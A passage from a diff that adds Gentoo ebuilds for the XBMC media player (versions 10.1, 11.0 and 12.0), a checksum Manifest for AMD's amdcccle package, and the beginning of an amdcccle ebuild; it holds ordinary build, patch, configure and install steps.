+# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-10.1.ebuild,v 1.8 2011/10/12 22:53:27 vapier Exp $
+
+EAPI="2"
+
+inherit eutils python flag-o-matic
+
+# Use XBMC_ESVN_REPO_URI to track a different branch
+ESVN_REPO_URI=${XBMC_ESVN_REPO_URI:-http://xbmc.svn.sourceforge.net/svnroot/xbmc/trunk}
+ESVN_PROJECT=${ESVN_REPO_URI##*/svnroot/}
+ESVN_PROJECT=${ESVN_PROJECT%/*}
+if [[ ${PV} == "9999" ]] ; then
+	inherit subversion autotools
+	KEYWORDS=""
+else
+	inherit autotools
+	SRC_URI="http://mirrors.xbmc.org/releases/source/${P}.tar.gz"
+	KEYWORDS="~amd64 ~x86"
+fi
+
+DESCRIPTION="XBMC is a free and open source media-player and entertainment hub"
+HOMEPAGE="http://xbmc.org/"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="alsa altivec avahi css debug joystick midi profile pulseaudio rtmp sse sse2 udev vaapi vdpau webserver +xrandr"
+
+COMMON_DEPEND="virtual/opengl
+	app-arch/bzip2
+	app-arch/unzip
+	app-arch/zip
+	app-i18n/enca
+	dev-libs/boost
+	dev-libs/fribidi
+	dev-libs/libcdio[-minimal]
+	dev-libs/libpcre[cxx]
+	>=dev-libs/lzo-2.04
+	>=dev-python/pysqlite-2
+	media-libs/alsa-lib
+	media-libs/faad2
+	media-libs/flac
+	media-libs/fontconfig
+	media-libs/freetype
+	>=media-libs/glew-1.5.6
+	media-libs/jasper
+	media-libs/jbigkit
+	virtual/jpeg
+	>=media-libs/libass-0.9.7
+	css? ( media-libs/libdvdcss )
+	media-libs/libmad
+	media-libs/libmms
+	media-libs/libmodplug
+	media-libs/libmpeg2
+	media-libs/libogg
+	media-libs/libpng
+	media-libs/libsamplerate
+	media-libs/libsdl[audio,opengl,video,X]
+	alsa? ( media-libs/libsdl[alsa] )
+	media-libs/libvorbis
+	media-libs/sdl-gfx
+	>=media-libs/sdl-image-1.2.10[gif,jpeg,png]
+	media-libs/sdl-mixer
+	media-libs/sdl-sound
+	media-libs/tiff
+	pulseaudio? ( media-sound/pulseaudio )
+	media-sound/wavpack
+	>=virtual/ffmpeg-0.6
+	rtmp? ( media-video/rtmpdump )
+	avahi? ( net-dns/avahi )
+	webserver? ( net-libs/libmicrohttpd )
+	net-misc/curl
+	|| ( >=net-fs/samba-3.4.6[smbclient] <net-fs/samba-3.3 )
+	sys-apps/dbus
+	sys-libs/zlib
+	virtual/mysql
+	x11-apps/xdpyinfo
+	x11-apps/mesa-progs
+	vaapi? ( x11-libs/libva )
+	vdpau? (
+		|| ( x11-libs/libvdpau >=x11-drivers/nvidia-drivers-180.51 )
+		virtual/ffmpeg[vdpau]
+	)
+	x11-libs/libXinerama
+	xrandr? ( x11-libs/libXrandr )
+	x11-libs/libXrender"
+RDEPEND="${COMMON_DEPEND}
+	udev? (	sys-fs/udisks sys-power/upower )"
+DEPEND="${COMMON_DEPEND}
+	app-text/dos2unix
+	dev-util/gperf
+	x11-proto/xineramaproto
+	dev-util/cmake
+	x86? ( dev-lang/nasm )"
+
+pkg_setup() {
+	# nasty runtime things might happen otherwise
+	# /usr/lib64/xbmc/system/players/dvdplayer/avcodec-52-x86_64-linux.so:
+	# undefined symbol: NeAACDecSetConfiguration
+	append-ldflags $(no-as-needed)
+	python_pkg_setup
+}
+
+src_unpack() {
+	if [[ ${PV} == "9999" ]] ; then
+		subversion_src_unpack
+		cd "${S}"
+		rm -f configure
+	else
+		unpack ${A}
+		cd "${S}"
+	fi
+
+	# Fix case sensitivity
+	mv media/Fonts/{a,A}rial.ttf || die
+	mv media/{S,s}plash.png || die
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-10.0-python-2.7.patch #350098
+	epatch "${FILESDIR}"/${PN}-10.1-gcc-4.6.patch #367261
+	epatch "${FILESDIR}"/${P}-libpng-1.5.patch #380127
+	epatch "${FILESDIR}"/${PN}-10.1-headers.patch #380127
+	# Fix runtime SEGV, Sabayon bug #2968
+	dos2unix -o "${S}/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp"
+	epatch "${FILESDIR}"/${PN}-9999-libpng-1.5-fix-plt-trn-get.patch
+	unix2dos -o "${S}/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp"
+
+	# some dirs ship generated autotools, some dont
+	local d
+	for d in . xbmc/cores/dvdplayer/Codecs/{libdts,libdvd/lib*/} lib/cpluff ; do
+		[[ -e ${d}/configure ]] && continue
+		pushd ${d} >/dev/null
+		einfo "Generating autotools in ${d}"
+		eautoreconf
+		popd >/dev/null
+	done
+
+	local squish #290564
+	use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec"
+	use sse && squish="-DSQUISH_USE_SSE=1 -msse"
+	use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2"
+	sed -i \
+		-e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \
+		-e "1iCXXFLAGS += ${squish}" \
+		xbmc/lib/libsquish/Makefile.in || die
+
+	# Fix XBMC's final version string showing as "exported"
+	# instead of the SVN revision number.
+	export SVN_REV=${ESVN_WC_REVISION:-exported}
+
+	# Avoid lsb-release dependency
+	sed -i \
+		-e 's:lsb_release -d:cat /etc/gentoo-release:' \
+		xbmc/utils/SystemInfo.cpp
+
+	# Do not use termcap #262822
+	sed -i 's:-ltermcap::' xbmc/lib/libPython/Python/configure
+
+	# avoid long delays when powerkit isn't running #348580
+	sed -i \
+		-e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \
+		xbmc/linux/*.cpp || die
+
+	epatch_user #293109
+
+	# Tweak autotool timestamps to avoid regeneration
+	find . -type f -print0 | xargs -0 touch -r configure
+}
+
+src_configure() {
+	# Disable documentation generation
+	export ac_cv_path_LATEX=no
+	# Avoid help2man
+	export HELP2MAN=$(type -P help2man || echo true)
+
+	# XBMC python mods only work with internal Python 2.4
+	# ffmpeg is a moving target and newer version may
+	# not work with xbmc, even if API compatible (vdpau in
+	# ffmpeg is the main issue)
+	# a52 support is deprecated
+	# libdts support is deprecated
+	econf \
+		--docdir=/usr/share/doc/${PF} \
+		--disable-ccache \
+		--disable-optimizations \
+		--disable-external-python \
+		--disable-external-ffmpeg \
+		--disable-external-libdts \
+		--disable-external-liba52 \
+		--enable-gl \
+		--disable-liba52 \
+		--disable-libdts \
+		$(use_enable avahi) \
+		$(use_enable css dvdcss) \
+		$(use_enable debug) \
+		--disable-hal \
+		$(use_enable joystick) \
+		$(use_enable midi mid) \
+		$(use_enable profile profiling) \
+		$(use_enable pulseaudio pulse) \
+		$(use_enable rtmp) \
+		$(use_enable vaapi) \
+		$(use_enable vdpau) \
+		$(use_enable webserver) \
+		$(use_enable xrandr)
+}
+
+src_install() {
+	emake install DESTDIR="${D}" || die
+	dodoc keymapping.txt README.linux
+	rm "${D}"/usr/share/doc/${PF}/{copying.txt,LICENSE.GPL} || die
+
+#	insinto /usr/share/applications
+#	doins tools/Linux/xbmc.desktop
+#	doicon tools/Linux/xbmc.png
+
+	insinto "$(python_get_sitedir)" #309885
+	doins tools/EventClients/lib/python/xbmcclient.py || die
+	newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die
+}
+
+pkg_postinst() {
+	elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual"
+}
diff --git a/media-tv/xbmc/xbmc-11.0.ebuild b/media-tv/xbmc/xbmc-11.0.ebuild
new file mode 100644
index 00000000..5c092077
--- /dev/null
+++ b/media-tv/xbmc/xbmc-11.0.ebuild
@@ -0,0 +1,232 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-11.0.ebuild,v 1.6 2012/04/05 00:26:27 vapier Exp $
+
+EAPI="4"
+
+# Does not work with py3 here
+# It might work with py:2.5 but I didn't test that
+PYTHON_DEPEND="2:2.6"
+
+inherit eutils python
+
+EGIT_REPO_URI="git://github.com/xbmc/xbmc.git"
+if [[ ${PV} == "9999" ]] ; then
+	inherit git-2 autotools
+else
+	inherit autotools
+	MY_P=${P/_/-*_}
+	SRC_URI="http://mirrors.xbmc.org/releases/source/${MY_P}.tar.gz"
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+fi
+
+DESCRIPTION="XBMC is a free and open source media-player and entertainment hub"
+HOMEPAGE="http://xbmc.org/"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="airplay alsa altivec avahi bluetooth bluray cec css debug goom joystick midi mysql profile +projectm pulseaudio pvr +rsxs rtmp +samba sse sse2 udev vaapi vdpau webserver +xrandr"
+REQUIRED_USE="pvr? ( mysql )"
+
+COMMON_DEPEND="virtual/glu
+	virtual/opengl
+	app-arch/bzip2
+	app-arch/unzip
+	app-arch/zip
+	app-i18n/enca
+	airplay? ( app-pda/libplist )
+	>=dev-lang/python-2.4
+	dev-libs/boost
+	dev-libs/fribidi
+	dev-libs/libcdio[-minimal]
+	cec? ( dev-libs/libcec )
+	dev-libs/libpcre[cxx]
+	>=dev-libs/lzo-2.04
+	dev-libs/yajl
+	>=dev-python/pysqlite-2
+	dev-python/simplejson
+	media-libs/alsa-lib
+	media-libs/flac
+	media-libs/fontconfig
+	media-libs/freetype
+	>=media-libs/glew-1.5.6
+	media-libs/jasper
+	media-libs/jbigkit
+	virtual/jpeg
+	>=media-libs/libass-0.9.7
+	bluray? ( media-libs/libbluray )
+	css? ( media-libs/libdvdcss )
+	media-libs/libmad
+	media-libs/libmodplug
+	media-libs/libmpeg2
+	media-libs/libogg
+	media-libs/libpng
+	projectm? ( media-libs/libprojectm )
+	media-libs/libsamplerate
+	media-libs/libsdl[audio,opengl,video,X]
+	alsa? ( media-libs/libsdl[alsa] )
+	media-libs/libvorbis
+	media-libs/sdl-gfx
+	>=media-libs/sdl-image-1.2.10[gif,jpeg,png]
+	media-libs/sdl-mixer
+	media-libs/sdl-sound
+	media-libs/tiff
+	pulseaudio? ( media-sound/pulseaudio )
+	media-sound/wavpack
+	>=virtual/ffmpeg-0.6[encode]
+	rtmp? ( media-video/rtmpdump )
+	avahi? ( net-dns/avahi )
+	webserver? ( net-libs/libmicrohttpd )
+	net-misc/curl
+	samba? ( >=net-fs/samba-3.4.6[smbclient] )
+	bluetooth? ( net-wireless/bluez )
+	sys-apps/dbus
+	sys-libs/zlib
+	mysql? ( virtual/mysql )
+	x11-apps/xdpyinfo
+	x11-apps/mesa-progs
+	vaapi? ( x11-libs/libva[opengl] )
+	vdpau? (
+		|| ( x11-libs/libvdpau >=x11-drivers/nvidia-drivers-180.51 )
+		virtual/ffmpeg[vdpau]
+	)
+	x11-libs/libXinerama
+	xrandr? ( x11-libs/libXrandr )
+	x11-libs/libXrender"
+RDEPEND="${COMMON_DEPEND}
+	udev? (	sys-fs/udisks:0 sys-power/upower )"
+DEPEND="${COMMON_DEPEND}
+	dev-util/gperf
+	x11-proto/xineramaproto
+	dev-util/cmake
+	x86? ( dev-lang/nasm )"
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+}
+
+src_unpack() {
+	if [[ ${PV} == "9999" ]] ; then
+		git-2_src_unpack
+		cd "${S}"
+		rm -f configure
+	else
+		unpack ${A}
+		cd "${S}"
+	fi
+
+	# Fix case sensitivity
+	mv media/Fonts/{a,A}rial.ttf || die
+	mv media/{S,s}plash.png || die
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-9999-nomythtv.patch
+	epatch "${FILESDIR}"/${PN}-9999-no-arm-flags.patch #400617
+	epatch "${FILESDIR}"/${PN}-11.0-no-exec-stack.patch
+	# The mythtv patch touches configure.ac, so force a regen
+	rm -f configure
+
+	# some dirs ship generated autotools, some dont
+	local d
+	for d in \
+		. \
+		lib/{libdvd/lib*/,cpluff,libapetag,libid3tag/libid3tag} \
+		xbmc/screensavers/rsxs-* \
+		xbmc/visualizations/Goom/goom2k4-0
+	do
+		[[ -e ${d}/configure ]] && continue
+		pushd ${d} >/dev/null
+		eautoreconf
+		popd >/dev/null
+	done
+
+	local squish #290564
+	use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec"
+	use sse && squish="-DSQUISH_USE_SSE=1 -msse"
+	use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2"
+	sed -i \
+		-e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \
+		-e "1iCXXFLAGS += ${squish}" \
+		lib/libsquish/Makefile.in || die
+
+	# Disable internal func checks as our USE/DEPEND
+	# stuff handles this just fine already #408395
+	export ac_cv_lib_avcodec_ff_vdpau_vc1_decode_picture=yes
+
+	# Fix XBMC's final version string showing as "exported"
+	# instead of the SVN revision number.
+	export HAVE_GIT=no GIT_REV=${EGIT_VERSION:-exported}
+
+	# Avoid lsb-release dependency
+	sed -i \
+		-e 's:lsb_release -d:cat /etc/gentoo-release:' \
+		xbmc/utils/SystemInfo.cpp || die
+
+	# avoid long delays when powerkit isn't running #348580
+	sed -i \
+		-e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \
+		xbmc/linux/*.cpp || die
+
+	epatch_user #293109
+
+	# Tweak autotool timestamps to avoid regeneration
+	find . -type f -print0 | xargs -0 touch -r configure
+}
+
+src_configure() {
+	# Disable documentation generation
+	export ac_cv_path_LATEX=no
+	# Avoid help2man
+	export HELP2MAN=$(type -P help2man || echo true)
+	# No configure flage for this #403561
+	export ac_cv_lib_bluetooth_hci_devid=$(usex bluetooth)
+
+	econf \
+		--docdir=/usr/share/doc/${PF} \
+		--disable-ccache \
+		--disable-optimizations \
+		--disable-external-libraries \
+		--enable-gl \
+		$(use_enable airplay) \
+		$(use_enable avahi) \
+		$(use_enable bluray libbluray) \
+		$(use_enable cec libcec) \
+		$(use_enable css dvdcss) \
+		$(use_enable debug) \
+		$(use_enable goom) \
+		--disable-hal \
+		$(use_enable joystick) \
+		$(use_enable midi mid) \
+		$(use_enable mysql) \
+		$(use_enable profile profiling) \
+		$(use_enable projectm) \
+		$(use_enable pulseaudio pulse) \
+		$(use_enable pvr mythtv) \
+		$(use_enable rsxs) \
+		$(use_enable rtmp) \
+		$(use_enable samba) \
+		$(use_enable vaapi) \
+		$(use_enable vdpau) \
+		$(use_enable webserver) \
+		$(use_enable xrandr)
+}
+
+src_install() {
+	default
+	rm "${ED}"/usr/share/doc/*/{LICENSE.GPL,copying.txt}*
+
+	insinto /usr/share/applications
+	doins tools/Linux/xbmc.desktop
+	newicon tools/Linux/xbmc-48x48.png xbmc.png
+
+	insinto "$(python_get_sitedir)" #309885
+	doins tools/EventClients/lib/python/xbmcclient.py || die
+	newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die
+}
+
+pkg_postinst() {
+	elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual"
+}
diff --git a/media-tv/xbmc/xbmc-12.0.ebuild b/media-tv/xbmc/xbmc-12.0.ebuild
new file mode 100644
index 00000000..04eea0d6
--- /dev/null
+++ b/media-tv/xbmc/xbmc-12.0.ebuild
@@ -0,0 +1,237 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-12.0.ebuild,v 1.1 2013/02/18 06:53:34 vapier Exp $
+
+EAPI="4"
+
+# Does not work with py3 here
+# It might work with py:2.5 but I didn't test that
+PYTHON_DEPEND="2:2.6"
+PYTHON_USE_WITH=sqlite
+
+inherit eutils python multiprocessing autotools
+
+case ${PV} in
+9999)
+	EGIT_REPO_URI="git://github.com/xbmc/xbmc.git"
+	inherit git-2
+	SRC_URI="!java? ( mirror://gentoo/${P}-20121224-generated-addons.tar.xz )"
+	;;
+*_alpha*|*_beta*|*_rc*)
+	MY_PV="Frodo_${PV#*_}"
+	MY_P="${PN}-${MY_PV}"
+	SRC_URI="https://github.com/xbmc/xbmc/archive/${MY_PV}.tar.gz -> ${P}.tar.gz
+		!java? ( mirror://gentoo/${P}-generated-addons.tar.xz )"
+	KEYWORDS="~amd64 ~x86"
+	;;
+*)
+	MY_P=${P/_/-*_}
+	SRC_URI="http://mirrors.xbmc.org/releases/source/${MY_P}.tar.gz"
+	KEYWORDS="~amd64 ~x86"
+	;;
+esac
+
+DESCRIPTION="XBMC is a free and open source media-player and entertainment hub"
+HOMEPAGE="http://xbmc.org/"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="airplay alsa altivec avahi bluetooth bluray cec css debug goom java joystick midi mysql nfs profile +projectm pulseaudio pvr +rsxs rtmp +samba sse sse2 sftp udev upnp vaapi vdpau webserver +xrandr"
+REQUIRED_USE="pvr? ( mysql )"
+
+COMMON_DEPEND="virtual/glu
+	virtual/opengl
+	app-arch/bzip2
+	app-arch/unzip
+	app-arch/zip
+	app-i18n/enca
+	airplay? ( app-pda/libplist )
+	>=dev-lang/python-2.4
+	dev-libs/boost
+	dev-libs/fribidi
+	dev-libs/libcdio[-minimal]
+	cec? ( >=dev-libs/libcec-2 )
+	dev-libs/libpcre[cxx]
+	>=dev-libs/lzo-2.04
+	dev-libs/tinyxml[stl]
+	dev-libs/yajl
+	dev-python/simplejson
+	media-libs/alsa-lib
+	media-libs/flac
+	media-libs/fontconfig
+	media-libs/freetype
+	>=media-libs/glew-1.5.6
+	media-libs/jasper
+	media-libs/jbigkit
+	>=media-libs/libass-0.9.7
+	bluray? ( media-libs/libbluray )
+	css? ( media-libs/libdvdcss )
+	media-libs/libmad
+	media-libs/libmodplug
+	media-libs/libmpeg2
+	media-libs/libogg
+	media-libs/libpng
+	projectm? ( media-libs/libprojectm )
+	media-libs/libsamplerate
+	media-libs/libsdl[audio,opengl,video,X]
+	alsa? ( media-libs/libsdl[alsa] )
+	>=media-libs/taglib-1.8
+	media-libs/libvorbis
+	media-libs/sdl-gfx
+	>=media-libs/sdl-image-1.2.10[gif,jpeg,png]
+	media-libs/sdl-mixer
+	media-libs/sdl-sound
+	media-libs/tiff
+	pulseaudio? ( media-sound/pulseaudio )
+	media-sound/wavpack
+	|| ( media-libs/libpostproc <media-video/libav-0.8.2-r1 media-video/ffmpeg )
+	>=virtual/ffmpeg-0.6[encode]
+	rtmp? ( media-video/rtmpdump )
+	avahi? ( net-dns/avahi )
+	nfs? ( net-fs/libnfs )
+	webserver? ( net-libs/libmicrohttpd[messages] )
+	sftp? ( net-libs/libssh )
+	net-misc/curl
+	samba? ( >=net-fs/samba-3.4.6[smbclient] )
+	bluetooth? ( net-wireless/bluez )
+	sys-apps/dbus
+	sys-libs/zlib
+	virtual/jpeg
+	mysql? ( virtual/mysql )
+	x11-apps/xdpyinfo
+	x11-apps/mesa-progs
+	vaapi? ( x11-libs/libva[opengl] )
+	vdpau? (
+		|| ( x11-libs/libvdpau >=x11-drivers/nvidia-drivers-180.51 )
+		virtual/ffmpeg[vdpau]
+	)
+	x11-libs/libXinerama
+	xrandr? ( x11-libs/libXrandr )
+	x11-libs/libXrender"
+RDEPEND="${COMMON_DEPEND}
+	udev? (	sys-fs/udisks:0 sys-power/upower )"
+DEPEND="${COMMON_DEPEND}
+	app-arch/xz-utils
+	dev-lang/swig
+	dev-util/gperf
+	x11-proto/xineramaproto
+	dev-util/cmake
+	x86? ( dev-lang/nasm )
+	java? ( virtual/jre )"
+
+S=${WORKDIR}/${MY_P}
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+}
+
+src_unpack() {
+	[[ ${PV} == "9999" ]] && git-2_src_unpack || default
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-9999-nomythtv.patch
+	epatch "${FILESDIR}"/${PN}-9999-no-arm-flags.patch #400617
+	# The mythtv patch touches configure.ac, so force a regen
+	rm -f configure
+
+	# some dirs ship generated autotools, some dont
+	multijob_init
+	local d
+	for d in $(printf 'f:\n\t@echo $(BOOTSTRAP_TARGETS)\ninclude bootstrap.mk\n' | emake -f - f) ; do
+		[[ -e ${d} ]] && continue
+		pushd ${d/%configure/.} >/dev/null || die
+		AT_NOELIBTOOLIZE="yes" AT_TOPLEVEL_EAUTORECONF="yes" \
+		multijob_child_init eautoreconf
+		popd >/dev/null
+	done
+	multijob_finish
+	elibtoolize
+
+	# Disable internal func checks as our USE/DEPEND
+	# stuff handles this just fine already #408395
+	export ac_cv_lib_avcodec_ff_vdpau_vc1_decode_picture=yes
+
+	local squish #290564
+	use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec"
+	use sse && squish="-DSQUISH_USE_SSE=1 -msse"
+	use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2"
+	sed -i \
+		-e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \
+		-e "1iCXXFLAGS += ${squish}" \
+		lib/libsquish/Makefile.in || die
+
+	# Fix XBMC's final version string showing as "exported"
+	# instead of the SVN revision number.
+	export HAVE_GIT=no GIT_REV=${EGIT_VERSION:-exported}
+
+	# avoid long delays when powerkit isn't running #348580
+	sed -i \
+		-e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \
+		xbmc/linux/*.cpp || die
+
+	epatch_user #293109
+
+	# Tweak autotool timestamps to avoid regeneration
+	find . -type f -print0 | xargs -0 touch -r configure
+}
+
+src_configure() {
+	# Disable documentation generation
+	export ac_cv_path_LATEX=no
+	# Avoid help2man
+	export HELP2MAN=$(type -P help2man || echo true)
+	# No configure flage for this #403561
+	export ac_cv_lib_bluetooth_hci_devid=$(usex bluetooth)
+	# Requiring java is asine #434662
+	export ac_cv_path_JAVA_EXE=$(which $(usex java java true))
+
+	econf \
+		--docdir=/usr/share/doc/${PF} \
+		--disable-ccache \
+		--disable-optimizations \
+		--enable-external-libraries \
+		--enable-gl \
+		$(use_enable airplay) \
+		$(use_enable avahi) \
+		$(use_enable bluray libbluray) \
+		$(use_enable cec libcec) \
+		$(use_enable css dvdcss) \
+		$(use_enable debug) \
+		$(use_enable goom) \
+		--disable-hal \
+		$(use_enable joystick) \
+		$(use_enable midi mid) \
+		$(use_enable mysql) \
+		$(use_enable nfs) \
+		$(use_enable profile profiling) \
+		$(use_enable projectm) \
+		$(use_enable pulseaudio pulse) \
+		$(use_enable pvr mythtv) \
+		$(use_enable rsxs) \
+		$(use_enable rtmp) \
+		$(use_enable samba) \
+		$(use_enable sftp ssh) \
+		$(use_enable upnp) \
+		$(use_enable vaapi) \
+		$(use_enable vdpau) \
+		$(use_enable webserver) \
+		$(use_enable xrandr)
+}
+
+src_install() {
+	default
+	rm "${ED}"/usr/share/doc/*/{LICENSE.GPL,copying.txt}*
+
+	domenu tools/Linux/xbmc.desktop
+	newicon tools/Linux/xbmc-48x48.png xbmc.png
+
+	insinto "$(python_get_sitedir)" #309885
+	doins tools/EventClients/lib/python/xbmcclient.py || die
+	newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die
+}
+
+pkg_postinst() {
+	elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual"
+}
diff --git a/media-video/amdcccle/Manifest b/media-video/amdcccle/Manifest
new file mode 100644
index 00000000..38dcf63e
--- /dev/null
+++ b/media-video/amdcccle/Manifest
@@ -0,0 +1,18 @@
+DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 RMD160 13fd67ad49cb1bf0aa3a0ca92da52c1a4ba93dc1 SHA1 8262b2a66cf87063713852c8f3a20bc995be47e6 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d
+DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 RMD160 b3966f0ad6c756f6d4fd77cde5761a86ef2ef3b2 SHA1 24bbaa07dbc8354a0393c4ceeed552d7ac37b09d SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd
+DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 RMD160 176b4544269671fc10bff8caa0663d25893d7b19 SHA1 f62146ed5653ce81dca578e0252c7f32d55627be SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57
+DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 RMD160 bef9aa8ff1bd366b5e8505789e87ac268ebc6807 SHA1 406e0a69f1e9dfd899bbcc6fa00d00adfba077cb SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e
+DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 RMD160 07c19b48ccb6d7d95d585545ec3a3038fdfb65bd SHA1 7de856b9464e617fa3b880de6b45ef9ec56e6336 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013
+DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 RMD160 70ae7407bab182c7fc9b1d4a177c2e1493ffb508 SHA1 d20a185165eff1b6d9631b7e3ed7201eeda9312a SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42
+DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 RMD160 fce2a7c1b7c213f26befc2beab47eefdcfd0059f SHA1 463dba00b419f761db2bf97088e6cfbcfc63c9fa SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f
+DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 RMD160 92e33779416228ef75fd8bc8790c5aebd2f3332f SHA1 807a5663b062a9cf6295ac8cf3dee7439aabda57 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf
+DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 RMD160 8631c510ace5a7d73c97064f8ca16ee9a6fe94e4 SHA1 e01caf1211fd3f9602017a340921aa1b9c38b802 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56
+EBUILD amdcccle-11.10.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988
+EBUILD amdcccle-11.11.ebuild 1563 RMD160 2accea4fb08b9b77d0e0fafb8b0cb037701343d0 SHA1 40411c71ea65bfcd1cf1cbb5e3987a229eba64d4 SHA256 f27f047f34ce9774fff7ca0c20978259b46a203ece333a3f5b44aad7e2aae904
+EBUILD amdcccle-11.12.ebuild 1563 RMD160 2accea4fb08b9b77d0e0fafb8b0cb037701343d0 SHA1 40411c71ea65bfcd1cf1cbb5e3987a229eba64d4 SHA256 f27f047f34ce9774fff7ca0c20978259b46a203ece333a3f5b44aad7e2aae904
+EBUILD amdcccle-11.6.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988
+EBUILD amdcccle-11.8.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988
+EBUILD amdcccle-11.9.ebuild 1477 RMD160 d39dc4d58bdad2046bd9964cee3169689479a770 SHA1 a6fff090cad0a882cfca8fd6c33939c2479d3c1c SHA256 50c02b61ae6147683f14e59a6ff186461b2e4013c00d6b9620c2e4a8c6f9e988
+EBUILD amdcccle-12.1-r1.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc
+EBUILD amdcccle-12.2.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc
+EBUILD amdcccle-12.3.ebuild 1563 RMD160 52352ad5c024988484673ae7031e2f5e0fbe04b5 SHA1 b6523c645b6330d0f61d03297e33161f8c8c5cec SHA256 827ae7cd785494e2a49ec963c464800ba6cd3714245bf43d140ff72ba819d4cc
diff --git a/media-video/amdcccle/amdcccle-11.10.ebuild b/media-video/amdcccle/amdcccle-11.10.ebuild
new file mode 100644
index 00000000..f0ed060b
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.10.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x11-drivers/ati-drivers[-qt4(-)]
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
